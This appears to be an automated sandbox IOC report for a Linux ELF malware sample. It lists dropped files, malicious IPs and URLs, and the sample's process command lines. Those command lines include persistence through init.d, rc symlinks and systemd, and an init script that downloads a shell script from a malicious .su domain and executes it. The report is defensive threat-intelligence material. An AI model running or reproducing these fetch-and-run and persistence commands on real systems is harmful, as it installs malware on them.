IOC Report
x86_32.nn.elf

loading gif

Files

File Path
Type
Category
Malicious
x86_32.nn.elf
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped
initial sample
malicious
/etc/init.d/mybinary
POSIX shell script, ASCII text executable
dropped
malicious
/etc/init.d/x86_32.nn.elf
POSIX shell script, ASCII text executable
dropped
malicious
/etc/profile
ASCII text
dropped
malicious
/etc/rc.local
POSIX shell script, ASCII text executable
dropped
malicious
/boot/bootcmd
ASCII text
dropped
/etc/inittab
ASCII text
dropped
/etc/motd
ASCII text
dropped
/etc/systemd/system/custom.service
ASCII text
dropped
/memfd:snapd-env-generator (deleted)
ASCII text
dropped

Processes

Path
Cmdline
Malicious
/tmp/x86_32.nn.elf
/tmp/x86_32.nn.elf
/tmp/x86_32.nn.elf
-
/tmp/x86_32.nn.elf
-
/bin/sh
sh -c "systemctl enable custom.service >/dev/null 2>&1"
/bin/sh
-
/usr/bin/systemctl
systemctl enable custom.service
/tmp/x86_32.nn.elf
-
/bin/sh
sh -c "chmod +x /etc/init.d/mybinary >/dev/null 2>&1"
/bin/sh
-
/usr/bin/chmod
chmod +x /etc/init.d/mybinary
/tmp/x86_32.nn.elf
-
/bin/sh
sh -c "ln -s /etc/init.d/mybinary /etc/rcS.d/S99mybinary >/dev/null 2>&1"
/bin/sh
-
/usr/bin/ln
ln -s /etc/init.d/mybinary /etc/rcS.d/S99mybinary
/tmp/x86_32.nn.elf
-
/bin/sh
sh -c "echo \"#!/bin/sh\n# /etc/init.d/x86_32.nn.elf\n\ncase \\\"$1\\\" in\n start)\n echo 'Starting x86_32.nn.elf'\n /tmp/x86_32.nn.elf &\n wget http://pen.gorillafirewall.su/ -O /tmp/lol.sh\n chmod +x /tmp/lol.sh\n /tmp/lol.sh &\n ;;\n stop)\n echo 'Stopping x86_32.nn.elf'\n killall x86_32.nn.elf\n ;;\n restart)\n $0 stop\n $0 start\n ;;\n *)\n echo \\\"Usage: $0 {start|stop|restart}\\\"\n exit 1\n ;;\nesac\nexit 0\" > /etc/init.d/x86_32.nn.elf"
/tmp/x86_32.nn.elf
-
/bin/sh
sh -c "chmod +x /etc/init.d/x86_32.nn.elf >/dev/null 2>&1"
/bin/sh
-
/usr/bin/chmod
chmod +x /etc/init.d/x86_32.nn.elf
/tmp/x86_32.nn.elf
-
/bin/sh
sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1"
/bin/sh
-
/usr/bin/mkdir
mkdir -p /etc/rc.d
/tmp/x86_32.nn.elf
-
/bin/sh
sh -c "ln -s /etc/init.d/x86_32.nn.elf /etc/rc.d/S99x86_32.nn.elf >/dev/null 2>&1"
/bin/sh
-
/usr/bin/ln
ln -s /etc/init.d/x86_32.nn.elf /etc/rc.d/S99x86_32.nn.elf
/tmp/x86_32.nn.elf
-
/usr/lib/systemd/systemd
-
/usr/lib/systemd/system-environment-generators/snapd-env-generator
/usr/lib/systemd/system-environment-generators/snapd-env-generator
/usr/libexec/gnome-session-binary
-
/bin/sh
/bin/sh -e -u -c "export GIO_LAUNCHED_DESKTOP_FILE_PID=$$; exec \"$@\"" sh /usr/libexec/gsd-housekeeping
/usr/libexec/gsd-housekeeping
/usr/libexec/gsd-housekeeping
There are 24 hidden processes, click here to show them.

URLs

Name
IP
Malicious
http://pen.gorillafirewall.su/lol.sh
unknown
http://pen.gorillafirewall.su/
unknown

Domains

Name
IP
Malicious
daisy.ubuntu.com
162.213.35.24

IPs

IP
Domain
Country
Malicious
154.216.17.220
unknown
Seychelles
malicious
91.92.246.113
unknown
Bulgaria
malicious
93.123.85.166
unknown
Bulgaria
malicious
45.202.35.64
unknown
Seychelles

Memdumps

Base Address
Regiontype
Protect
Malicious
8059000
page execute read
malicious
83f1000
page read and write
ffb15000
page read and write
805c000
page read and write
f7f43000
page execute read
805a000
page read and write